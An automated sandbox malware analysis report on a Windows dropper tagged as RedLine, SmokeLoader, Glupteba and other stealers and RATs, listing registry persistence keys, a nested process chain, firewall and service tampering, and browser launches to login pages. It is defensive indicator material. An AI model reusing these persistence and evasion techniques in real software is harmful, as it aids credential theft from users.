Malware Analysis Report

2024-12-08 00:58

Sample ID 231111-mm5yyadf6x
Target NEAS.9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74.exe
SHA256 9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74
Tags
dcrat glupteba mystic redline sectoprat smokeloader zgrat pixelnew2.0 taiga up3 backdoor dropper evasion infostealer loader persistence rat stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74

Threat Level: Known bad

The file NEAS.9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74.exe was found to be: Known bad.

Malicious Activity Summary

dcrat glupteba mystic redline sectoprat smokeloader zgrat pixelnew2.0 taiga up3 backdoor dropper evasion infostealer loader persistence rat stealer trojan

ZGRat

Glupteba payload

SmokeLoader

RedLine payload

Detect Mystic stealer payload

SectopRAT payload

SectopRAT

Mystic

RedLine

Detect ZGRat V1

DcRat

Glupteba

Downloads MZ/PE file

Modifies Windows Firewall

Stops running service(s)

Executes dropped EXE

Checks computer location settings

Adds Run key to start application

Suspicious use of SetThreadContext

Launches sc.exe

Program crash

Enumerates physical storage devices

Unsigned PE

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious use of FindShellTrayWindow

Suspicious use of WriteProcessMemory

Creates scheduled task(s)

Enumerates system info in registry

Suspicious use of SendNotifyMessage

Checks SCSI registry key(s)

Suspicious behavior: MapViewOfSection

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-11-11 10:35

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-11-11 10:35

Reported

2023-11-11 10:38

Platform

win10v2004-20231023-en

Max time kernel

40s

Max time network

156s

Command Line

"C:\Users\Admin\AppData\Local\Temp\NEAS.9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74.exe"

Signatures

DcRat

rat infostealer dcrat
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\NEAS.9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Detect Mystic stealer payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Detect ZGRat V1

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Mystic

stealer mystic

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SectopRAT

trojan rat sectoprat

SectopRAT payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

ZGRat

rat zgrat

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Stops running service(s)

evasion

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-2231940048-779848787-2990559741-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1vB90qX8.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\NEAS.9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\rx9Xp71.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hy2pJ01.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A
N/A N/A C:\Windows\System32\sc.exe N/A

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3nt82Li.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3nt82Li.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3nt82Li.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3nt82Li.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3nt82Li.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\3nt82Li.exe N/A

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3516 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\NEAS.9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\rx9Xp71.exe
PID 3516 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\NEAS.9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\rx9Xp71.exe
PID 3516 wrote to memory of 2844 N/A C:\Users\Admin\AppData\Local\Temp\NEAS.9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\rx9Xp71.exe
PID 2844 wrote to memory of 4144 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\rx9Xp71.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hy2pJ01.exe
PID 2844 wrote to memory of 4144 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\rx9Xp71.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hy2pJ01.exe
PID 2844 wrote to memory of 4144 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\rx9Xp71.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hy2pJ01.exe
PID 4144 wrote to memory of 2080 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hy2pJ01.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1vB90qX8.exe
PID 4144 wrote to memory of 2080 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hy2pJ01.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1vB90qX8.exe
PID 4144 wrote to memory of 2080 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hy2pJ01.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1vB90qX8.exe
PID 2080 wrote to memory of 1468 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1vB90qX8.exe C:\Windows\system32\cmd.exe
PID 2080 wrote to memory of 1468 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1vB90qX8.exe C:\Windows\system32\cmd.exe
PID 1468 wrote to memory of 1480 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1468 wrote to memory of 1480 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1480 wrote to memory of 4596 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1480 wrote to memory of 4596 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1468 wrote to memory of 4792 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1468 wrote to memory of 4792 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 4076 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 4076 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1468 wrote to memory of 3464 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1468 wrote to memory of 3464 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3464 wrote to memory of 1624 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 3464 wrote to memory of 1624 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1468 wrote to memory of 2840 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 1468 wrote to memory of 2840 N/A C:\Windows\system32\cmd.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2840 wrote to memory of 3980 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 2840 wrote to memory of 3980 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
PID 4792 wrote to memory of 3456 N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Processes

C:\Users\Admin\AppData\Local\Temp\NEAS.9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74.exe

"C:\Users\Admin\AppData\Local\Temp\NEAS.9deb8e8dbcdb7cebc687d8520f1a17c235e8d9512b0f808848c1427930baed74.exe"

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\rx9Xp71.exe

C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\rx9Xp71.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hy2pJ01.exe

C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\Hy2pJ01.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1vB90qX8.exe

C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1vB90qX8.exe

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\28B1.tmp\28B2.tmp\28B3.bat C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\1vB90qX8.exe"

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://accounts.google.com/

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x168,0x16c,0x170,0x144,0x174,0x7ffc15a246f8,0x7ffc15a24708,0x7ffc15a24718

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.facebook.com/login

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

